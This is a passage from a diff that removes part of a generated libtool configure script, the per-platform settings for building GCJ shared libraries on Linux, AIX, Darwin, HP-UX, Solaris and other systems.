- archive_cmds_GCJ='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_GCJ='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_GCJ='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_GCJ='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_GCJ=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_GCJ='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_GCJ" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=yes
- archive_expsym_cmds_GCJ='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_GCJ=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_GCJ=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_GCJ='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_GCJ='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_GCJ=''
- hardcode_direct_GCJ=yes
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_GCJ=yes
- else
- # We have old collect2
- hardcode_direct_GCJ=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_libdir_separator_GCJ=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_GCJ=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_GCJ='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_GCJ="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_GCJ='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_GCJ="-z nodefs"
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_GCJ=' ${wl}-bernotok'
- allow_undefined_flag_GCJ=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_GCJ='$convenience'
- archive_cmds_need_lc_GCJ=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_GCJ="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_GCJ=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_GCJ=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ=' '
- allow_undefined_flag_GCJ=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_GCJ='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_GCJ='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_GCJ='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_GCJ='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_GCJ=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_GCJ='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_GCJ='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_GCJ=no
- hardcode_direct_GCJ=no
- hardcode_automatic_GCJ=yes
- hardcode_shlibpath_var_GCJ=unsupported
- whole_archive_flag_spec_GCJ=''
- link_all_deplibs_GCJ=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_GCJ='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_GCJ='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_GCJ='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_GCJ=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- freebsd1*)
- ld_shlibs_GCJ=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_minus_L_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_GCJ='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_GCJ='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_direct_GCJ=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_GCJ='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_GCJ='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_GCJ='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_GCJ='+b $libdir'
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- ;;
- *)
- hardcode_direct_GCJ=yes
- export_dynamic_flag_spec_GCJ='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_GCJ=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_GCJ='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- link_all_deplibs_GCJ=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_GCJ='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- newsos6)
- archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- openbsd*)
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_GCJ='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- ;;
- *)
- archive_cmds_GCJ='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
- allow_undefined_flag_GCJ=unsupported
- archive_cmds_GCJ='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_GCJ='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_GCJ=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_GCJ=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_GCJ='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_GCJ=' -expect_unresolved \*'
- archive_cmds_GCJ='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_GCJ='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_GCJ='-rpath $libdir'
- fi
- hardcode_libdir_separator_GCJ=:
- ;;
-
- solaris*)
- no_undefined_flag_GCJ=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_GCJ='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_GCJ='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_GCJ='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_GCJ='-R$libdir'
- hardcode_shlibpath_var_GCJ=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_GCJ='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_GCJ='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_GCJ=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
